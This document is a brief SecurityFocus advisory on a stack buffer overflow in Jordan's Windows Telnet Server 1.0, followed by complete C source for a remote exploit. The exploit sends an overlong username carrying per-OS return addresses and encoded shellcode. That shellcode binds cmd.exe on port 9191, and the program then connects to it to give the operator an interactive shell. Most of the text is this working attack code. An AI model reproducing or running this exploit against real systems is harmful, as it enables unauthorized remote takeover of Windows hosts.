source: http://www.securityfocus.com/bid/9316/info
 
Jordan Windows Telnet Server has been reported prone to a remote buffer overrun vulnerability. The issue has been reported to present itself when a username of excessive length is supplied to the Telnet server. Due to a lack of bounds checking, when this username is copied into an insufficient reserved buffer in stack-based memory, data that exceeds the size of the buffer will overrun its bounds and corrupt adjacent memory. An attacker may exploit this condition to corrupt a saved instruction pointer for the vulnerable function. 

/*
 *   Jordan's Windows Telnet server v.1.0 remote exploit
 *  binds cmd.exe shell on port 9191
 *
 * Home page: http://www.jordan.com/WindowsTelnetServer
 * Advisory: http://security.nnov.ru/search/document.asp?docid=5583
 *
 * Tested on winxp only, but must work on other win32 systems.
 *
 * -d4rkgr3y [d4rk@securitylab.ru], m00.void.ru
 *
*/

#include <string.h>
#include <unistd.h>
#include <netdb.h>

struct
{
	char *platform;
	long ret;
}

targets[]=
{
	{"Windows XP sp0", 0x77F5801C}, // ntdll.dll : jmp esp
	{"Windows XP sp1", 0x77fb59cc},
	{"Windows 2000 SP1" , 0x77e3cb4c } ,
	{"Windows 2000 SP2" , 0x77e2492b } ,
	{"Windows 2000 SP3" , 0x77e2afc5 } ,
	{"Windows 2000 SP4" , 0x77e14c29 } ,
	{"Windows NT sp6", 0x77f0eac3},
	{"Windows 98 SE", 0x7fdabfa9},
	{"Denial-of-Service attack", 0xdefaced},
};

char payload[] =
	"\x90\x90\x90\x90"
	"\x90\x90\x90\x90"
	"\x90\x90\x90\x90"
	"\x90\x90\x90\x90"
	"\x90\x90\x90\x90"
	"\x90\x90\x90\x90"
	"\x90\x90\x90\x90"
	"\x90\x90\x90\x90";

char w32pbshellcode[] =
	"\xEB\x03\x5D\xEB\x05\xE8\xF8\xFF\xFF\xFF\x8B\xC5\x83\xC0\x11\x33"
	"\xC9\x66\xB9\xC9\x01\x80\x30\x88\x40\xE2\xFA\xDD\x03\x64\x03\x7C"
	"\x09\x64\x08\x88\x88\x88\x60\xC4\x89\x88\x88\x01\xCE\x74\x77\xFE"
	"\x74\xE0\x06\xC6\x86\x64\x60\xD9\x89\x88\x88\x01\xCE\x4E\xE0\xBB"
	"\xBA\x88\x88\xE0\xFF\xFB\xBA\xD7\xDC\x77\xDE\x4E\x01\xCE\x70\x77"
	"\xFE\x74\xE0\x25\x51\x8D\x46\x60\xB8\x89\x88\x88\x01\xCE\x5A\x77"
	"\xFE\x74\xE0\xFA\x76\x3B\x9E\x60\xA8\x89\x88\x88\x01\xCE\x46\x77"
	"\xFE\x74\xE0\x67\x46\x68\xE8\x60\x98\x89\x88\x88\x01\xCE\x42\x77"
	"\xFE\x70\xE0\x43\x65\x74\xB3\x60\x88\x89\x88\x88\x01\xCE\x7C\x77"
	"\xFE\x70\xE0\x51\x81\x7D\x25\x60\x78\x88\x88\x88\x01\xCE\x78\x77"
	"\xFE\x70\xE0\x2C\x92\xF8\x4F\x60\x68\x88\x88\x88\x01\xCE\x64\x77"
	"\xFE\x70\xE0\x2C\x25\xA6\x61\x60\x58\x88\x88\x88\x01\xCE\x60\x77"
	"\xFE\x70\xE0\x6D\xC1\x0E\xC1\x60\x48\x88\x88\x88\x01\xCE\x6A\x77"
	"\xFE\x70\xE0\x6F\xF1\x4E\xF1\x60\x38\x88\x88\x88\x01\xCE\x5E\xBB"
	"\x77\x09\x64\x7C\x89\x88\x88\xDC\xE0\x89\x89\x88\x88\x77\xDE\x7C"
	"\xD8\xD8\xD8\xD8\xC8\xD8\xC8\xD8\x77\xDE\x78\x03\x50\xDF\xDF\xE0"
	"\x8A\x88\xAB\x6F\x03\x44\xE2\x9E\xD9\xDB\x77\xDE\x64\xDF\xDB\x77"
	"\xDE\x60\xBB\x77\xDF\xD9\xDB\x77\xDE\x6A\x03\x58\x01\xCE\x36\xE0"
	"\xEB\xE5\xEC\x88\x01\xEE\x4A\x0B\x4C\x24\x05\xB4\xAC\xBB\x48\xBB"
	"\x41\x08\x49\x9D\x23\x6A\x75\x4E\xCC\xAC\x98\xCC\x76\xCC\xAC\xB5"
	"\x01\xDC\xAC\xC0\x01\xDC\xAC\xC4\x01\xDC\xAC\xD8\x05\xCC\xAC\x98"
	"\xDC\xD8\xD9\xD9\xD9\xC9\xD9\xC1\xD9\xD9\x77\xFE\x4A\xD9\x77\xDE"
	"\x46\x03\x44\xE2\x77\x77\xB9\x77\xDE\x5A\x03\x40\x77\xFE\x36\x77"
	"\xDE\x5E\x63\x16\x77\xDE\x9C\xDE\xEC\x29\xB8\x88\x88\x88\x03\xC8"
	"\x84\x03\xF8\x94\x25\x03\xC8\x80\xD6\x4A\x8C\x88\xDB\xDD\xDE\xDF"
	"\x03\xE4\xAC\x90\x03\xCD\xB4\x03\xDC\x8D\xF0\x8B\x5D\x03\xC2\x90"
	"\x03\xD2\xA8\x8B\x55\x6B\xBA\xC1\x03\xBC\x03\x8B\x7D\xBB\x77\x74"
	"\xBB\x48\x24\xB2\x4C\xFC\x8F\x49\x47\x85\x8B\x70\x63\x7A\xB3\xF4"
	"\xAC\x9C\xFD\x69\x03\xD2\xAC\x8B\x55\xEE\x03\x84\xC3\x03\xD2\x94"
	"\x8B\x55\x03\x8C\x03\x8B\x4D\x63\x8A\xBB\x48\x03\x5D\xD7\xD6\xD5"
	"\xD3\x4A\x8C\x88";

void usage();

struct hostent *hp;

int main(int argc, char *argv[])
	{
	unsigned short port=23;
	unsigned int sock,addr,hand;
	char buf[1032], shit[666];

	printf("\n    Jordan's Windows Telnet server v.1.0 remote exploit\n");
	printf("\t\tby m00 Security // m00.void.ru\n\n");

	if(argc<3 || argc>4) usage(argv[0]);
	if((atoi(argv[2]))>5) usage(argv[0]);
	if(argv[3]) port = atoi(argv[3]);

	memset(buf,'\x41',1032);
	memcpy(&buf[512], (unsigned char *) &targets[atoi(argv[2])].ret, 4);
	memcpy(&buf[516], payload, sizeof(payload));
	memcpy(&buf[548], w32pbshellcode, sizeof(w32pbshellcode));
	memset(buf+strlen(w32pbshellcode)+548,'\x0d',1);
	memset(buf+strlen(w32pbshellcode)+548+1,'\x0a',1);

	printf("~ Resolving hostname => ");
	if((hp=gethostbyname(argv[1]))==NULL) {
		printf("failed\n");
		exit(1);
	}
	printf("done\n");

	printf("~ Conneting => ");
	if((sock=connect_to_host(port))==-1) {
		printf("failed\n");
		exit(1);
	}
	printf("done\n");

	printf("~ Sending exploit buffer => ");
	sleep(2);
	recv(sock,shit,666,0);
	send(sock,buf,1032,0);
	printf("done\n");
	printf("~ Connecting to bindshell => ");
	usleep(1000);
	if((hand=connect_to_host(9191))==-1)
		printf("failed\n\n");
	else {
		printf("done\n~ Shell spawned on port 9191 ^ have a nice day\n\n");
		get_shell(hand);
	}

	close(sock);
	exit(0);
}

void usage(char *progname)
{
	int i;
	printf("Usage: %s <host> <os type> [port]\n\nWhere 'os type' is:\n",progname);
	for(i=0;targets[i].platform;i++) {
		printf("  %i %s\n", i, targets[i].platform);
	}
	printf("\n");
	exit(0);
}

int connect_to_host(int port)
{
	int sockt;
	struct sockaddr_in saddr;

	if((sockt=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==-1)
		return -1;
	memset((void *)&saddr, 0, sizeof(struct sockaddr_in));
	saddr.sin_family=AF_INET;
	saddr.sin_addr.s_addr=*((unsigned long *)hp->h_addr_list[0]);
	saddr.sin_port=htons(port);
	if(connect(sockt, (struct sockaddr *)&saddr, sizeof(saddr))<0) {
		close(sockt);
		return -1;
	} else
	return sockt;
}

int get_shell(int bsh)
{
	fd_set rfds;
	int retVal,r;
	char buf[0x31337];
	do {
		FD_ZERO(&rfds);
		FD_SET(0, &rfds);
		FD_SET(bsh, &rfds);
		retVal=select(bsh+1, &rfds, NULL, NULL, NULL);
		if(retVal) {
			if(FD_ISSET(bsh, &rfds)) {

				buf[(r=recv(bsh, buf, 8095,0))]='\0';
				printf("%s", buf);
			}
			if(FD_ISSET(0, &rfds)) {
				buf[(r=read(0, buf, 8095))]='\0';
				send(bsh, buf, strlen(buf), 0);
			}
		}
	} while(retVal && r);

	close(bsh);
	return 1;
}

